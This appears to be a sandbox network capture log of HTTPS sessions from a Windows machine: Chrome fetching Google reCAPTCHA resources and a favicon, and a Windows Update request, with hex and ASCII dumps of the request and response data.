2024-03-15 12:57:39 UTC	1360	OUT	GET /recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.google.com/sorry/index?continue=https://google.co.za/amp/s/smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ%3D%3D&q=EgS_YOPCGL6L0a8GIjAaJ8H2BhgUuvpf_NnyT2OYVT8w65mbz9ueyJW_p6cE8jZIK7EFGWsbGUV81JQQhlEyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:57:39 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Mar 2024 12:57:39 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-pYQo6n9uFt3lJX23PMEp9w' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:57:39 UTC	361	IN	Data Raw: 31 64 31 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 Data Ascii: 1d11<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face
2024-03-15 12:57:39 UTC	1252	IN	Data Raw: 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f Data Ascii: to/v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//
2024-03-15 12:57:39 UTC	1252	IN	Data Raw: 46 39 2c 20 55 2b 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c Data Ascii: F9, U+20AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329,
2024-03-15 12:57:39 UTC	1252	IN	Data Raw: 39 30 2d 30 34 39 31 2c 20 55 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d Data Ascii: 90-0491, U+04B0-04B1, U+2116;}/* greek-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}
2024-03-15 12:57:39 UTC	1252	IN	Data Raw: 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 Data Ascii: */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA
2024-03-15 12:57:39 UTC	1252	IN	Data Raw: 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c Data Ascii: rl(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal
2024-03-15 12:57:39 UTC	828	IN	Data Raw: 2c 20 55 2b 46 45 46 46 2c 20 55 2b 46 46 46 44 3b 0a 7d 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 30 37 67 30 6d 70 50 47 75 6b 54 6f 32 30 56 71 4b 61 38 47 62 54 53 77 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 70 59 51 6f 36 6e 39 75 46 74 33 6c 4a 58 32 33 50 4d 45 70 39 77 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 Data Ascii: , U+FEFF, U+FFFD;}</style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/07g0mpPGukTo20VqKa8GbTSw/styles__ltr.css"><script nonce="pYQo6n9uFt3lJX23PMEp9w" type="text/javascript">window['__recaptcha_api'] = 'htt
2024-03-15 12:57:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.17	49726	142.250.80.36	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:57:39 UTC	635	OUT	GET /favicon.ico HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:57:39 UTC	706	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 15 Mar 2024 09:11:19 GMT Expires: Sat, 23 Mar 2024 09:11:19 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 13580 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-15 12:57:39 UTC	546	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-03-15 12:57:39 UTC	1252	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f7 a6 75 ff ff ff ff ff fd fd fd f9 fd fd fd fa ff ff ff ff 0b be fb ff 05 bc fb ff b6 ec fe ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f7 aa 7b ff ff ff ff ff fd fd fd f9 fd fd fd db ff ff ff ff 35 c9 fc ff 0a b2 f9 ff 6b a4 f6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea Data Ascii: BBBBBuBBBBB{5k7R8F2Vb5C
2024-03-15 12:57:39 UTC	1252	IN	Data Raw: de ee d8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd e8 fe fe fe 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 24 fd fd fd ea ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff eb f5 e7 ff 8f c6 7b ff 54 a9 36 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 7e be 67 ff dd ee d7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd e8 ff ff ff 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd d3 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff c4 e1 b9 ff 5c ac 3e ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 Data Ascii: /${T6S4S4S4S4S4S4S4S4S4~g"\>S4S4S4S4S4S4S4S4S4S4
2024-03-15 12:57:39 UTC	1252	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fa c8 aa ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd fa ff ff ff ff ff ff ff ff ff ff ff ff 07 bd fb ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 7d dc fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd f9 fd fd fd fa ff ff ff ff ff ff ff ff ff ff ff ff 07 bd fb ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 7d dc fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBBBBBB}BBBBBBBBBBB}
2024-03-15 12:57:39 UTC	1128	IN	Data Raw: ff ff ff ff a0 a7 f5 ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 81 8a f2 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 8a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 0b fd fd fd d5 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b5 ba f7 ff 3e 4b eb ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 3f 4c eb ff ba bf f8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 26 fd fd fd eb ff ff ff Data Ascii: 5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C>K5C5C5C5C5C5C5C5C5C5C5C5C?L&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.17	49727	20.114.59.183	443

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:57:44 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=rxs17CWmOALbKcf&MD=1MpBEMMe HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-03-15 12:57:45 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 6f09d07e-8e98-4df9-ae6b-a24bb2bce5fe MS-RequestId: 826f9bcd-c410-48f5-8bd1-ece393e4e1c9 MS-CV: dofip4hzvkGN6Ieb.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 15 Mar 2024 12:57:44 GMT Connection: close Content-Length: 24490
2024-03-15 12:57:45 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-03-15 12:57:45 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.17	49730	142.250.65.164	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:57:46 UTC	1120	OUT	POST /recaptcha/api2/reload?k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 7734 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-protobuffer Accept: / Origin: https://www.google.com X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:57:46 UTC	7734	OUT	Data Raw: 0a 18 30 37 67 30 6d 70 50 47 75 6b 54 6f 32 30 56 71 4b 61 38 47 62 54 53 77 12 e4 10 30 33 41 46 63 57 65 41 34 68 56 67 77 33 75 35 55 6c 45 2d 68 46 63 35 53 4c 58 56 65 77 75 4f 69 70 5f 34 53 67 5f 69 42 74 4f 36 31 75 61 47 49 48 59 36 70 66 56 6f 34 76 39 31 51 65 37 35 41 37 5f 4a 45 51 75 45 2d 5a 6f 77 51 34 6c 79 51 49 46 53 4f 6e 31 78 41 32 77 49 76 42 44 4d 4c 6f 73 41 55 34 6c 41 34 53 55 4f 32 48 4d 55 33 41 6e 75 55 74 36 2d 4a 78 76 37 73 39 74 48 75 30 5a 6d 54 71 6e 70 5a 7a 45 6e 65 63 43 62 6a 30 54 69 61 69 48 71 74 50 69 73 51 6f 52 52 68 32 58 56 6f 6f 30 35 73 37 37 41 69 7a 6c 65 49 69 54 35 50 67 79 53 59 4e 4f 74 43 6b 34 31 7a 68 31 72 59 33 6e 51 78 77 72 6b 7a 56 58 52 34 64 58 6f 4e 6d 78 4c 30 74 35 77 62 66 42 31 64 4d Data Ascii: 07g0mpPGukTo20VqKa8GbTSw03AFcWeA4hVgw3u5UlE-hFc5SLXVewuOip_4Sg_iBtO61uaGIHY6pfVo4v91Qe75A7_JEQuE-ZowQ4lyQIFSOn1xA2wIvBDMLosAU4lA4SUO2HMU3AnuUt6-Jxv7s9tHu0ZmTqnpZzEnecCbj0TiaiHqtPisQoRRh2XVoo05s77AizleIiT5PgySYNOtCk41zh1rY3nQxwrkzVXR4dXoNmxL0t5wbfB1dM
